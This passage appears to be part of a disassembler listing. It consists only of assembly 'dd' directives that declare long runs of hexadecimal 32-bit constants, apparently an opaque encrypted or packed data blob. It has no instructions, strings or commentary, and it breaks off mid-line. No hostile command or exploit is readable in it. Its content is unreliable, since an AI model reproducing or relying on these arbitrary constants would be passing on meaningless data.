0BCCE41B5h dd 0D8DE6217h, 0AB405320h, 123224EDh, 0BC3FEB2Fh, 0BDFF982Bh dd 0C48A259Ch, 1E342FC7h, 7495328Ch, 42BA9665h, 24661909h dd 5E5DC953h, 7FE11E0Dh, 0AA20CD7Dh, 0C9AD2372h, 994598F9h dd 6D9E0B3h, 2EDE5EFh, 0ADBD1CF2h, 7D193101h, 665A623Eh dd 0D9551077h, 0FB239ECFh, 0FF1B1EA1h, 6731959Fh, 0CDF8DDB1h dd 0EC876DFCh, 0B47AEB35h, 5ADD082Fh, 4CAF6D51h, 4BFD60B9h dd 0B6F715F6h, 34A3D844h, 0B79468E3h, 0ED23A5Bh, 0C553C8C8h dd 0B02BE6DFh, 16B28A3h, 37A936B7h, 0EBA22C6h, 4942FDB9h dd 493AE525h, 0FFA5192h, 6A0252B3h, 0DEFFBF1Fh, 248EA8C5h dd 0AE1BE9C0h, 0D1CBDD8Dh, 304969BBh, 0BAE0D856h, 8D1B252Dh dd 0A97366FAh, 6B2C0729h, 0DED75375h, 0C42C22F5h, 370B6EF4h dd 5F23077Fh, 3ED2B0DEh, 806EC94Ah, 0D8E59F29h, 26BE7F04h dd 3DFB3A7Bh, 0B5DB0A4Dh, 79ADD035h, 53B6BEF5h, 0CE1CD7B9h dd 6534AF5Bh, 0B64B951Fh, 0E39D71ECh, 0A9853568h, 37BBE83Eh dd 0BA76D626h, 6B829E02h, 8CF62EB1h, 7C36D4CFh, 0AC572DA3h dd 0D2CDAC9Bh, 1D10951Dh, 0A55BD84Dh, 1755F45h, 6F617AB5h dd 613096D5h, 6ACEBA60h, 0B927B000h, 95D2A9C4h, 0FE3C9468h dd 667D43Fh, 0AFB04F3Eh, 0CCE05EBh, 0D7CEF521h, 1DEF64FBh dd 9CBD485Dh, 0A3C10C20h, 80EE353Bh, 862EFA41h, 59DD7328h dd 711ADD01h, 2D8CAB25h, 0C7686396h, 2D7ADF7Eh, 0AEE3D044h dd 172CC11Dh, 1FC5F562h, 835A8534h, 9C07A71Ch, 38EA0759h dd 92CCC677h, 5DD13147h, 5CF1093Bh, 2C869CADh, 0AE5FE962h dd 862D07BEh, 0DA9CD74Ch, 8316D212h, 54992722h, 278F820Dh dd 0D92C921h, 2018DBF6h, 831EE413h, 977AAD7Dh, 77F00363h dd 823C74ACh, 0EEC5CD6Ah, 509FBC10h, 851EDA17h, 91DEFFE4h dd 0DE110A67h, 5F99AD83h, 0CECA790Fh, 9009E363h, 0C5FCADFEh dd 0C51D312Bh, 0FCEF063Dh, 6ACDAF12h, 0CEA3023Fh, 0B79853E3h dd 8FBFABBBh, 0A55A6065h, 69E2B275h, 1469D39Bh, 0B6FBF10Ch dd 0BBB00F9Ah, 3603A5Ch, 70F208FDh, 4C5AAD72h, 5DF84FD1h dd 0F4C20014h, 4F65D5DAh, 0C065BBB0h, 0AA7C3CF4h, 281E1C6Fh dd 4F13A1B4h, 33BFA056h, 399CA973h, 0B69A9F03h, 2B212563h dd 32D23C5Fh, 0C9BFDF6Dh, 505992D3h, 6CD3DD57h, 0AF223611h dd 46B13BB3h, 0AEE84A01h, 22E14C2h, 19333C41h, 0BB4287D3h dd 2DF173DCh, 4270EC56h, 9034C589h, 4F5840Eh, 0AE993CA2h dd 45EFA1F8h, 0B963FA41h, 0BCC97B2Bh, 9551BE23h, 1C7F1A3Ah dd 6D135EBh, 83530C16h, 27FE739Ch, 0A62297BCh, 0A5DA46Ah dd 0F7B8BCCEh, 9CD8AC68h, 0D24579AEh, 697DFB4Ah, 0AF0C52FAh dd 70BB3D0Eh, 24D6BB5h, 9035BF21h, 31100300h, 0D51BF97Ch dd 0B0AE9631h, 0F987A31Eh, 0D223D1CBh, 29A4C9Dh, 1A2C60C7h dd 0FA05E769h, 0F35F6FC9h, 6039FE56h, 609A769Dh, 265B3368h dd 3C9C89FEh, 7B690AA1h, 0F3CE843Fh, 644B240Bh, 8D457980h dd 0C806AD1Ch, 0BD227BEBh, 0B2331349h, 82A44A07h, 97B4B88Bh dd 746D758Dh, 0EA3C7ECh, 434CE115h, 0ED8F6E6Ah, 0D8EF3741h dd 2DACEB1h, 9752BEAEh, 0A01EB5DCh, 3164B145h, 0CC78C3D5h dd 0B5251F0Ah, 0CF284CFBh, 0F418F831h, 703490DFh, 0D0E90709h dd 2E3249CBh, 0BA23000Fh, 10A7C72Dh, 571673F8h, 82BA5AB6h dd 0EF92FB17h, 8BB39BF9h, 0AEFBFE4Ch, 1F98826Ah, 0F950A9C7h dd 3CF48976h, 3F730A6Dh, 72E43141h, 74CEC2DEh, 82B481FFh dd 0A1961C41h, 4434D74h, 643F0F14h, 80109ADEh, 54FF4961h dd 0AEDE0241h, 727B7EA9h, 32336E2Ah, 6DF24D23h, 1D52D147h dd 775563A6h, 1A64D0E1h, 184EC843h, 0CD67A5E3h, 0B25BDF25h dd 26D28272h, 248CEFA9h, 0F01FAE75h, 73E34575h, 0D522CA38h dd 33CC111Dh, 6AC132AAh, 0B2AD302Ah, 1E89F6FEh, 70F936C5h dd 0EC46AA0Ah, 50A5CC1Bh, 0A22F74Eh, 0A6DB1E2Fh, 692B258Dh dd 0DF659564h, 0B350980Fh, 2B78403h, 6C9276B1h, 0B932A4F0h dd 560EABD5h, 219CD682h, 1CCEF9A0h, 1586C140h, 471B1AC3h dd 0CB420B68h, 0B3154851h, 41C9B39Bh, 0B2F0A80Fh, 1ECC71D2h dd 0DE947044h, 5F3510B1h, 7FA31DF9h, 0B89C22BCh, 70EA2DC0h dd 9F4FC2D9h, 0D541F1DAh, 20F84D89h, 9D449142h, 0BAC26E06h dd 0C15FF510h, 8356E1E1h, 8199DD56h, 0D6CFA871h, 89538D09h dd 0DC096244h, 376D25FDh, 893AC683h, 67B98045h, 27FC7FE5h dd 9E1711A8h, 1B35E823h, 2380895Bh, 0BFDBB24Dh, 4EBFEC9h dd 0E958301Ah, 0A4D84A3Ch, 9EF0D30Fh, 0C5F19BB2h, 3F6A8252h dd 54D108DAh, 82CE5944h, 0DF687441h, 0D9BB615Dh, 1E41AAFCh dd 0F6000DF5h, 9692F98Ch, 0C536993Ch, 71F0A1CBh, 0A158EBB3h dd 77A25BD9h, 977EEC40h, 0BE5257EDh, 82FFAB45h, 9BA81D6Ch dd 0AC5DC9DCh, 564F6364h, 0DEFB1681h, 0B77C6254h, 0DD866548h dd 0DF3BD91Dh, 5EF7349Dh, 0D62FF77Bh, 26408DA7h, 105B5211h dd 17E3BDDAh, 0EBBD030Eh, 8282A1BCh, 2B1C8238h, 5F519D33h dd 64A93261h, 235C83D6h dd 9886C37Bh, 0EAE779B2h, 5C14501Bh, 800F016h, 922289A0h dd 4394B269h, 0F83B0A56h, 0B9825A7h, 13E33860h, 0DD234943h dd 996DF6DCh, 841FF58Bh, 0FFE5C563h, 10E98EDCh, 0E22E37B0h dd 0A959B539h, 4770B4F7h, 4984ABDAh, 5ADA5FEh, 0D89C3428h dd 64AD946Ah, 701E0AD2h, 37D23671h, 8410FA1Fh, 0A3C5758Fh dd 4E25D8Eh, 0BB864D3Dh, 0BD3AD965h, 0BF0E03D4h, 39D0A914h dd 4AB74BA1h, 43728D33h, 272C7537h, 4398FDD2h, 25A8F02Dh dd 736857B7h, 126F2397h, 0E9DA6955h, 7C26BDB2h, 6A72F440h dd 43F93306h, 0ADCA60C9h, 0CB1E2514h, 44E32840h, 469FE2ECh dd 0B0AA2532h, 0A575807Ah, 7579FA41h, 0B17977BBh, 222758EAh dd 0BFE48BE9h, 61108900h, 0A5F03140h, 0B6931F96h, 31C4A0A2h dd 642DE763h, 0BF81B419h, 394CDA9Ch, 0AB1A9904h, 738E4941h dd 0F360A5D8h, 50A04E79h, 0B71EA504h, 42EF421Bh, 7102D8E6h dd 2754F68Dh, 0C1F14A10h, 6733E32Bh, 0BE8BFB66h, 0E7C2837Ah dd 0B73BEA4Ah, 0BC5A1CC2h, 718BEF22h, 86BF5B3Eh, 8B1E289Dh dd 41E947DAh, 73BB5FF1h, 825F1B2Dh, 0E3490AB4h, 82B9BF89h dd 0FAEFB292h, 7FB7A978h, 8E967052h, 83B91747h, 463CDC3Ah dd 65B735C8h, 0C2F94107h, 0A6B0673Ch, 73A99F6Eh, 0F1E3964Eh dd 0D0C244Dh, 4CC0B6C9h, 9DED96Ch, 0E6F5B0E1h, 0C98D7D4Bh dd 15A6CB9h, 0CE286990h, 0C51FF8E1h, 5AD87544h, 43FA3163h dd 0FB9AA987h, 0D1CCD530h, 5E3F5533h, 0ED4ED09h, 0A30B8F42h dd 3DCA391Dh, 1FF8C0B6h, 0C439DE7Dh, 2BCBAF7Bh, 8F5D3193h dd 83718209h, 0BFC46258h, 0C44F29D1h, 0C506055Fh, 19333155h dd 0D440CBD0h, 0CFFEFE72h, 0EC6A41F2h, 0A0D55868h, 19FBDDB9h dd 0B885D0D3h, 0A8B2BD92h, 0C02C479Dh, 42CE2A86h, 0BB6E510Eh dd 53B6D9A1h, 93D32D8h, 592CD3C6h, 0EB66C95Fh, 0CAFB8063h dd 0C641E9E4h, 8A21F579h, 1B3391C3h, 6D1B0179h, 6D1B40C6h dd 0A2BEF07Eh, 9DEEB70Bh, 0F3A4315Eh, 0A3CFC889h, 0A5AAB1Ah dd 9BF336C8h, 0FA4DC1E9h, 42BB3927h, 60302F3Dh, 0A692F4A6h dd 0F6566A21h, 773B4C2Bh, 0ABFEC9E2h, 37AD350Fh, 8958030Ch dd 4B64F8E8h, 0BC5D36BDh, 536A910Bh, 2169BE4Dh, 44D2C93Bh dd 0EEFA40BAh, 8382CC94h, 4F13F7E7h, 0A8E32CC1h, 86E0D93Dh dd 700533A8h, 0D21EA87Eh, 76E15489h, 96984DABh, 9011501Eh dd 0B786915Ah, 15610DFFh, 9DB3ECC2h, 54839DDDh, 38720FC7h dd 0B3E4C9E2h, 4355AD64h, 0E2B90875h, 78FE811Fh, 0E711F877h dd 3E082E97h, 0BFD2B7C8h, 0FA000372h, 3EC5230Fh, 0CA3A25B1h dd 725E5DCFh, 0FC2252D3h, 0D0DA4D76h, 3EB0AF6Bh, 0FB6B9EC9h dd 0E6FFE8BBh, 185A204Fh, 0FADFF23Ch, 44312331h, 0EB7FBF01h dd 5EBA3595h, 0B6948367h, 2DDEE9Dh, 353AA4DAh, 3576CF8Eh dd 97D321CFh, 34C0189Fh, 6A09E812h, 0F991C81Bh, 85AADB4h dd 5C7FA860h, 0CE417735h, 0E37A8541h, 0E7167132h, 349E199h dd 0FE60011Dh, 1D7EB3B2h, 4E2D305Fh, 0BBC7EF8Fh, 303BC8B8h dd 8120B846h, 2DACF2EDh, 0F6169AD1h, 6066F060h, 2C3626Dh dd 0C1023D19h, 0D595D142h, 298AB23Ah, 14626D5Eh, 44FC4F61h dd 0B3FC6943h, 0A7640877h, 130089C4h, 0FD9F534Fh, 65CE1B1Dh dd 0B43A0194h, 6A1DE759h, 0D04B0E99h, 822CAEC1h, 7D5CA74Bh dd 0A720687Fh, 0EDE09BD0h, 6858EB8Dh, 0CCCD15FDh, 53C3C00Ah dd 64C401Ah, 2609B1D4h, 13AE3930h, 3CF89B4Bh, 99DA3DCCh dd 4E5262ACh, 64BD838Ah, 0EC08DCFBh, 187FD70h, 8BEF687Fh dd 40EA33F5h, 230D72Ah, 0A2230536h, 0F1894991h, 5681CC6Ah dd 634D1EB5h, 5B54DA61h, 680CA260h, 6A5E52B9h, 0DD64409Ch dd 0B7161FCDh, 0F2EAD38h, 238AD55Dh, 9E0DFD0Ch, 0C82EDFFEh dd 3A101BDEh, 0E0F4AA22h, 0E75ABEC1h, 863932B5h, 8A432924h dd 4E2B1F0h, 0A11A82A2h, 4FCE625Ah, 0A0191F7Dh, 0BBF03C0Fh dd 2EDE36B5h, 0D8140924h, 713C9D60h, 0AA3769AFh, 0A2294BBBh dd 541086Ah, 0B145B57Ch, 5071AABDh, 4E720798h, 50381219h dd 0B14128C4h, 1AD3581h, 85D3E0Fh, 5B508DC9h, 84A0F876h dd 64D23DFAh, 712AC8BAh, 0F1028833h, 608F8115h, 0D84DF567h dd 0E0A76E43h, 673A9D72h, 58E8E3BBh, 8EC08AD1h, 0C0DF790Fh dd 8AC60C1Ah, 43E26F0Eh, 40C472A6h, 3C34B1FDh, 867583ADh dd 57DC5E45h, 9EDDEF99h, 6AB72526h, 3C2EEC35h, 0F5D00EDh dd 8653F061h, 441FCC57h, 7B5A4C54h, 3DF0CFE3h, 3C21A717h dd 0C12F37E9h, 0BA64A722h, 2ADAE660h, 357411B7h, 4993564h dd 0BB3FFC11h, 584D39C9h, 0F1D8BAAh, 9D0C92E1h, 21653275h dd 1650A6BBh, 0AD4B9ACAh, 259A01BFh, 0BD4BF7FFh, 5EDB0C0Dh dd 0C2032E7Fh, 3A145903h, 0C19780F4h, 35780373h, 72607E91h dd 4196EDF1h, 8BC3675Bh, 0A35AE0DDh, 0B5532C24h, 5596CC1Eh dd 2A9264B4h, 0DA2262BFh, 8A6565h, 0A16D291Fh, 0F4354501h dd 10710423h, 2283EE4Bh, 0EC2ADC8Eh, 86F38329h, 71518EB2h dd 0A280B637h, 19C6D11Dh, 0CFBA3DB1h, 0E65A8945h, 4B4EF458h dd 3952DDBAh, 0F7711412h, 528ADE40h, 58B23F9Ah, 41C91963h dd 5E13E96Fh, 377CF8A9h, 7EC3D38Ch, 21F14AD5h, 0ADC28DECh dd 67581154h, 0EC102664h, 1A0B4963h, 2418DFF7h, 0CE0FEA39h dd 932CA14Eh, 4B44DDBBh, 9FBE6F07h, 0EAF7EAE6h, 0C5B6A965h dd 24FC66BCh, 2809E9F4h, 0E46CD0B2h, 0A34474DCh, 6F90BE2Eh dd 0B4EB6115h, 9F28EC4Ah, 9C1C4B7Fh, 0F20DE967h, 4FB9BBE4h dd 495D6631h, 73C458Fh, 0D0373611h, 0AAC9302Bh, 38B2E332h dd 70BE4582h, 0D55A1D97h, 858A43B2h, 0CD64484Fh, 0CDA8D9FBh dd 0EE28F401h, 0A5FFAB65h, 0E23764B6h, 0B4455824h, 2298AE45h dd 6C802969h, 0D5EDDD91h, 0F2F18226h, 3938DDA2h, 85B59012h dd 0E62F7619h, 337CB547h, 0A222C3CAh, 943EF9ACh, 96BA5A7Dh dd 0A54626B8h, 51582F1Bh, 6B7A1240h, 427A64CAh, 5607E07Fh dd 0FF041B8h, 0AAFA6F40h, 0ACDF45BBh, 867D217Fh, 11501BB2h dd 23F70F53h, 6A2502BDh, 0EC401584h, 6BAF5641h, 0C6EF93ABh dd 69CFADCEh, 107F836Fh, 7001AC75h, 0B03EE2FCh, 230EF1EAh dd 0E32AF19Ah, 0A3CE1591h, 0A576564Eh, 0E5B56B3h, 3C511330h dd 0AC55E0BAh, 0A9390174h, 213DB650h, 3A71386Dh, 0AADE7C94h dd 4629FBBDh, 3EE94666h, 75FF8F7h, 6DFD9B36h, 354F993Ch dd 0BFA2ED8Ch, 8CF78423h, 996966B3h, 8AFD5745h, 36F8596Ch dd 5FA5F27Bh, 0FAFBE891h, 0AD583D45h, 0D53AA0Bh, 0CFF22C3Bh dd 8A5AA045h, 93DC643Ch, 0DC86D6AAh, 0C4A58DDEh, 64CF6F39h dd 0B54E31F5h, 2E76C1CCh, 0B75D117Ch, 0BF3319F4h, 4A4FB82Dh dd 672D0C39h, 26FB2E65h, 68A5455Eh, 0DED8631Eh, 9FD2793Ah dd 12F9470Ch, 836BF8C6h, 171AAD19h, 2EB3E962h, 4BF3372h dd 0FA1E074Ch, 0E34C8D33h, 36AF6D5Dh, 463AED4Bh, 64332662h dd 597A8345h, 200097Eh, 24C64EB5h, 0A6E07D5Ch, 0C7CE279Ch dd 30226980h, 54312731h, 0AB5FFA9Dh, 0CF7D1C4Fh, 75A45D03h dd 0EA3A0AA7h, 23B7DE49h, 7833E7B6h, 0C64E42E1h, 0DEBDFBCh dd 0A06E4392h, 46B52D00h, 2E67537Ah, 4E6E43A1h, 4BE4E2D8h dd 16B7EE12h, 4077BD6Ch, 6586C7D9h, 23D25CBCh, 0F0BA2C61h dd 5DAD2797h, 4BBBF1F1h, 0AD4B3797h, 0D7C9350Bh, 0F677388Fh dd 0C5AE8EE1h, 5BA7B58h, 2315A55h, 0E42FFFE6h, 19E0CD83h dd 24BDDF19h, 0AD126425h dd 87122EA1h, 49123BD3h, 0A0650355h, 0E86C46Dh, 7FBA042Eh dd 82BF25AAh, 68C8CD0h, 32CC05Ch, 2060F4BBh, 0C404D29Dh dd 9159F200h, 37BD3D30h, 6B7CE60Eh, 822CC475h, 0C09CBBCAh dd 6226115Dh, 49E94C1Bh, 2E653D36h, 7B964DCFh, 7CE501C6h dd 1FB9CF12h, 0BED57253h, 7EEB955Eh, 7EF01D4Bh, 33CD9543h dd 2815555Dh, 77CE3EDFh, 5E8EAE89h, 57EC7A28h, 82E951CDh dd 0AEFDACA2h, 324E983h, 0D0ED4D38h, 5CD5B79Dh, 8AD90215h dd 12BFB831h, 0BBBDB38Ch, 5CE85879h, 3DECB8CFh, 0B1EEF5FDh dd 830B490Eh, 9B50EBE3h, 1690C435h, 0AA2AAE47h, 43855D01h dd 0E9A0B9Bh, 0D8EC2B77h, 0E461F73Fh, 70DB843Ch, 56ACDAA3h dd 87F0B4DEh, 0AF4F51EEh, 0ADBFBD6Ch, 873FD2B2h, 0A35411DBh dd 59BA3110h, 0C87B2D30h, 1B97736Fh, 8BF3FF5Eh, 0CA28B97Eh dd 71293A9Dh, 0BB9ACC00h, 6D1FE7B4h, 0EBF90AAh, 4E1EFE59h dd 25F41EA9h, 7AE412BAh, 8A963F41h, 67FADDC4h, 8B198C67h dd 6BF0CC94h, 9871ED23h, 0D32B83EAh, 5EE7F27Fh, 2E205545h dd 0A2C671E4h, 1EF07D3Ah, 97583288h, 0A3506903h, 6D3B2539h dd 29CEA865h, 409733FEh, 0A6913D92h, 0A091DA41h, 0EFC06BADh dd 0B8E7DF5Ah, 2EF320Dh, 3AA89935h, 651A846Ch, 0AA879FA6h dd 0BEB5593Dh, 989E6D95h, 0AC46B554h, 2226D3E6h, 0CC285963h dd 0DF6F866Bh, 75765F01h, 31494235h, 743E60C1h, 49A28E75h dd 12BEBB0Fh, 3C5C86C9h, 1E8C313Fh, 47592709h, 19AFF2C7h dd 0B0ECC2D3h, 8AC3CBCh, 0CF305A19h, 0E954B70h, 4A6CF0D5h dd 0EFEF2C53h, 9A4A173Ch, 712BDC63h, 2C19059Eh, 68185F44h dd 0FE1B4856h, 68B2E3F9h, 8A2656D2h, 0E60C30h, 104932B9h dd 154E5B79h, 0C763193h, 0DDBE5663h, 7A66156Ch, 624D9336h dd 763EF795h, 76BB866Ch, 64CD7D62h, 7CAB9BB9h, 0B008BF10h dd 105F81B8h, 0A241CC56h, 0CFCCA8C0h, 27CA5E79h, 0CF163421h dd 301B4EBAh, 6B7979F1h, 0B1EC4AF4h, 591B521Fh, 0B5B736E4h dd 34F0BA3h, 2375ABBBh, 964B333Eh, 68BBAE52h, 65209CB4h dd 3D6CA89Dh, 1C811D85h, 2CDADC43h, 2BB5DF25h, 0E238F185h dd 86AE5A33h, 0E192EB96h, 0A4AA95BDh, 421B846Dh, 64EFB1D4h dd 82F71EC1h, 0D3108200h, 0A208F831h, 6D26B685h, 0AC210216h dd 8BB5AFD3h, 2DBB9967h, 5C894449h, 9D17AD63h, 0A61DDF2Ch dd 20BB0B1Dh, 4049AA60h, 0C4ECB111h, 8FF7F41Eh, 0DE3E6181h dd 8BF35D2Dh, 0A28434E1h, 0FD03D5CEh, 6C5AD743h, 5F7ED17Fh dd 83EA236Dh, 2E92BCBBh, 0BB5C3ABAh, 4DB7AB4Ah, 4D7F9E4Ah dd 3AFDC9D3h, 9836DC25h, 0E3E113E5h, 85FDAA5Fh, 3F836FBDh dd 633B3D38h, 0AA8DAB43h, 7F8F364Bh, 0D57A2FE5h, 0DBF1BC3Dh dd 0E11829B9h, 0BC53E975h, 72789062h, 0A85AAB85h, 2526C0F2h dd 9DC0CADh, 62CF6633h, 3F3EEE14h, 0A14CEAF0h, 7D1ED4B3h dd 5ADA9305h, 228C8527h, 8C7ABE67h, 9E2A90Eh, 1D0DF28Dh dd 98C12CE2h, 6D2C9742h, 43C429Eh, 0CB0ECEBCh, 7743EEC0h dd 17B436ADh, 0A2A9696Bh, 0D779FF76h, 0EB4864Bh, 32B02819h dd 0BE057F40h, 271E43ECh, 0F87B9C74h, 71C80D4Fh, 3831897Bh dd 0A74D6699h, 0D70AA216h, 0E41C3CDh, 3C1A407h, 8A5C64B5h dd 0F878FA1Ah, 53AF1404h, 900AB605h, 0A296D1A6h, 281C2D1Dh dd 1713DE62h, 8551EC60h, 0CF309FFAh, 0BF9752C9h, 0AE16FB4Dh dd 0FDD4A49Dh, 0E0C20923h, 652A8D01h, 865E9110h, 46C7716Eh dd 600C2433h, 0B420261h, 3BDB346Ch, 115C1A8Dh, 0E18D285Eh dd 0FA148C22h, 4B5DFAFh, 96DE165Fh, 1906CD5Eh, 6B85AD45h dd 0AF65C80Ah, 6E5EC831h, 0FCF2E43Ah, 6730BAD4h, 6B2C44DDh dd 3E1D1275h, 0F188005Fh, 3D57F21Ch, 5209C842h, 9BE34423h dd 1E550ABDh, 919AF828h, 7E0B7559h, 269C1045h, 0E071326h dd 0E7369670h, 2BDB04CCh, 67DFD3B5h, 9535B145h, 28B6CEBCh dd 2F220435h, 61823423h, 6CE9D2E2h, 0C7E597D0h, 4149084Eh dd 617F9BC5h, 7B9A2717h, 6305F23Bh, 90135CABh, 0C77ECA34h dd 6F16D27Ch, 0AF620ACCh, 1F1ACE31h, 0A92EB543h, 33E6943Fh dd 793B3141h, 2601B2ECh, 0A4AEBCC4h, 4C0E4BB0h, 0DEB944B4h dd 0E9421B1h, 60F1957h, 0BCE5E23Fh, 458BA23Dh, 0BC7FF87Ch dd 0DE4ED7E3h, 97964EBBh, 4E01FDE3h, 0CB1306C3h, 0C52E8074h dd 0FD6E67F4h, 768094A1h, 0B0387E25h, 25FED902h, 0DAC4E839h dd 9562F489h, 7EADFCD2h, 0AB671B31h, 489CB2EEh, 7A41723h dd 0C79821B1h, 0DE39B1ACh, 860EB111h, 20A93B3Bh, 0AA26C2EBh dd 0A6634597h, 135267B6h, 80CA4F0Eh, 9C8A950Eh, 15CB4D21h dd 0B6B33D1Bh, 0B9EBC80Eh, 1827D26Dh, 0B2E6DB4Bh, 753B3C55h dd 0E1303128h, 0C9306421h, 35A2E39h, 0B1934D3h, 184C7147h dd 0E218170Eh, 74BDE2A3h, 9D311869h, 0B3B8D3BDh, 7D3D22B5h dd 252AB43Ch, 0DDEB111Ch, 1D203319h, 9D021545h, 4525AB16h dd 9DF6DCBDh, 0B93F8D25h, 4ADF0E01h, 0A58BE47Fh, 0B0FADF59h dd 0A55DEE8Bh, 7C040411h, 6D00FD1Dh, 303036EAh, 579AB307h dd 0BCA4DFFCh, 5D0AC954h, 0DEB0FC9Ah, 0C48D2EB8h, 20BBB52Dh dd 3B81B624h, 0A953CF5Ah, 432100BBh, 0DFEDB99Ah, 80CD0AB9h dd 8AE5B063h, 5891B976h, 0B06311F4h, 78B49EBDh, 2CB48244h dd 98D0209Ah, 372ED2A4h, 0A9F523BBh, 9F252368h, 0B4CE22B2h dd 0A106E8DBh, 0DA947B56h, 82A2ABF1h, 0D38CBEC3h, 0AE18A2CDh dd 42C7DD24h, 0B4ADB4F9h, 4E4FAAB6h, 9C26CB28h, 6E496087h dd 0CF5AAC84h, 0B2D6573Eh, 1A8EFBEDh, 2E7E4984h, 0FBF965D1h dd 1ED80C2Dh, 448D5C69h, 6E05287Ch, 0C2B38E16h, 4D406335h dd 4A32FEAFh, 28FB299Dh, 0A3AC1482h, 0C84F2981h, 47A3FC73h dd 0C9C8679Dh, 2F85D5E2h, 89C8D183h, 0A84C490Bh, 967F253Ah dd 0AB596545h, 0CBAD551Dh, 2A9C29B5h, 0F232F40Ah, 0EEDFF5FDh dd 7C7287E8h, 3754923h, 6D05B00Ah, 4A833290h, 0DC753932h dd 5319AF86h, 0EA2BE378h, 5DE1678Eh, 7ECF6C81h, 2082A71Dh dd 6C5D0863h, 78013036h, 202C0A5Ch, 88BFE9FDh, 179E43AFh dd 0C210A6A8h, 337CC81Dh, 0FC8EFC3Bh, 2A01DF22h, 0C9B58CB5h dd 0CBDD74B4h, 0AA2716E4h, 6E62AC8Fh, 9CA689EAh, 4A4E09D8h dd 0ED8B24B3h, 7EB6EB2Eh, 0B632F030h, 81D93A74h, 491266C1h dd 0DAEF6425h, 0DFCE2F6Ah, 72D6AC3Ah, 24D604B2h, 8E3F2229h dd 5ED29210h, 1EF1C911h, 0D1D503D5h, 36F1B901h, 5CBCDC4Eh dd 4D2C840Ch, 23814BA5h, 3EF52908h, 590E6946h, 32FC3375h dd 0D83AEBDDh, 0FDA60047h, 833B361Fh, 0BEA3780Ch, 7ADA4FC5h dd 523AB1B6h, 0BBED0E83h, 8ECE01E0h, 9E2F0BEEh, 0B7385A26h dd 99C173E9h, 71AAAC51h, 5A231AB6h, 7A7E83CFh, 2926E039h dd 0F2DC69F6h, 83BD1725h, 0C10F732Fh, 31313C36h, 22ED7109h dd 6432C2BDh, 626CF90Ah, 641AA950h, 1E07D9CCh, 0E64F163Eh dd 8AF6823Ah, 9F8AF03Fh, 148B401Ah, 32B2A561h, 0B75AAD47h dd 757B5F37h, 783EA5D9h, 0C91AC9E2h, 0AFB53199h, 1F59DCE1h dd 0AA1CF22Bh, 0F483303Ch, 0FF2BD91Dh, 37A2EBBh, 116ECD15h dd 9B950335h, 0D92FF382h, 7AB2006Ah, 73609735h, 0BB34844Ch dd 0DBB6B075h, 62DA9910h, 0AEC83073h, 5EC88E7Dh, 9EBFC8B4h dd 510AC9CFh, 2A3F28Dh, 28FD3555h, 8F4D367Ah, 621EC920h dd 75EA13B0h, 61BF3EBDh, 10E70C47h, 2A2C0AFBh, 273F6DF5h dd 27553156h, 0F92A69D3h dd 0D74F9439h, 417B08E2h, 0D3109961h, 374E0D6Bh, 79B68954h dd 2349002Fh, 5DE4B536h, 24E3B12Bh, 8EF3F11Ch, 2195FEB9h dd 0BC674AB5h, 4C104DE1h, 0BC66E249h, 3306D144h, 1E345021h dd 4E16AA92h, 26630FDDh, 46AFDFDEh, 417609B0h, 0D6130161h dd 0AF560B6Ah, 2E99E0B4h, 0AB3D0B93h, 2101BB7Eh, 1BDDD9FDh dd 601C7FDh, 75B3C0C9h, 602BFD83h, 2EFD01B7h, 0C05ECC50h dd 0AB316C20h, 4204B466h, 5DBF0CA7h, 1CA2C77Dh, 0D6FCFB66h dd 0C3950C17h, 0F2B25E20h, 22C2257Ch, 39FADFC8h, 237B252Ch dd 8014362Dh, 236A9DB9h, 8460C458h, 0C2143C2Eh, 6528E0B2h dd 0A9241ADFh, 8638F3E6h, 41F3E65Eh, 821A4955h, 0CAEF098h dd 0F3FEFE9Fh, 8C5A4D7Ah, 240EA13h, 0F1551DBh, 6BADFABCh dd 48EA838h, 7EFDCFB5h, 0ADAB137Dh, 0DF7E5709h, 0DE307D08h dd 702B3282h, 0EDD27A7h, 7BEDDF2Ah, 11E32B9Dh, 84BCA75Ah dd 0E640B45Ch, 18C5339Dh, 85CDDB30h, 65355724h, 19FC0891h dd 64B9A1B3h, 20DAE9FDh, 1E14C501h, 11D6C021h, 19B6A936h dd 20337C13h, 0DEFA15E6h, 0FA30557Dh, 9C1F4960h, 9CF8933Fh dd 17EDF3B4h, 62AE7D01h, 6B87A164h, 0F33F0CC6h, 3FE671F6h dd 802C72B2h, 0A91E3807h, 4DE0A6EEh, 0BCC430B3h, 6FD426A6h dd 379CCE9Ch, 3BF139B5h, 374EA4F8h, 31312B8Ch, 0B1EEF934h dd 0AEC37F9Dh, 1C66E43Ah, 9F756863h, 5B7296BAh, 6DCDD523h dd 22CAA80Eh, 72F2252Bh, 0FCB8955Bh, 8E2110C4h, 0E7F100BAh dd 14FBDD43h, 19A29A34h, 43F5A749h, 0B002F39Dh, 0A70D2E25h dd 0A17F2210h, 0A4003145h, 610C1563h, 6A95490Fh, 1DC6C65Eh dd 0AA532507h, 7F73C821h, 28FD2EB1h, 64100FC4h, 1F540F61h dd 0D43400E1h, 50E307C0h, 0C309A4B3h, 2CD0103h, 83B3E909h dd 82D7633Ch, 49A45A59h, 42933A62h, 82E74A45h, 43168D2Fh dd 3B170311h, 52DE1D5Ch, 33FE5D59h, 0AFB48C54h, 71A0C6FBh dd 186BB48h, 0A6D250D3h, 0ADBD1144h, 0A91CE345h, 0FD50620h dd 74ED0B32h, 830DAF06h, 0EF64E4ABh, 4E39BD1Dh, 39CB0499h dd 2C2CAD44h, 9F782399h, 0C061088Fh, 0B347D514h, 7840EF35h dd 8F7B8CA8h, 75CFFFDCh, 984E63CFh, 5C893732h, 9141BD9Dh dd 95D93035h, 3456C925h, 1D5BB98h, 0E33302E3h, 0C4C1372Eh dd 0DCFA050Fh, 0DCECC46Dh, 63A6CFDh, 78AFA8A8h, 965056EAh dd 1D1CAEB5h, 0A5D51D44h, 24C9A5C3h, 1EE0937Dh, 0EF4329A3h dd 1263371Bh, 6723D0FFh, 0C7F904A6h, 16F2F60Fh, 8BF7BEA8h dd 0DF47C7DEh, 0B25AF3FCh, 0D3D20179h, 0DEF395CCh, 0E2D04AD9h dd 760FE385h, 46A181A9h, 0B5776178h, 22661F74h, 0E9BA5A0h dd 5420F3B5h, 0AE8BA02Ch, 2F9A6C11h, 25A4368Ah, 42DB3EAAh dd 6F98FE23h, 27CD5BEh, 3B46A8F9h, 0E8F93D81h, 0EA02A5BDh dd 4D70C208h, 0A22BA1F1h, 0F02A2FF0h, 8D66F132h, 8354A0CAh dd 0E2D9ACD6h, 0D3F4B81Dh, 444D4591h, 9B29F3ACh, 4EECD91Dh dd 8603BCB3h, 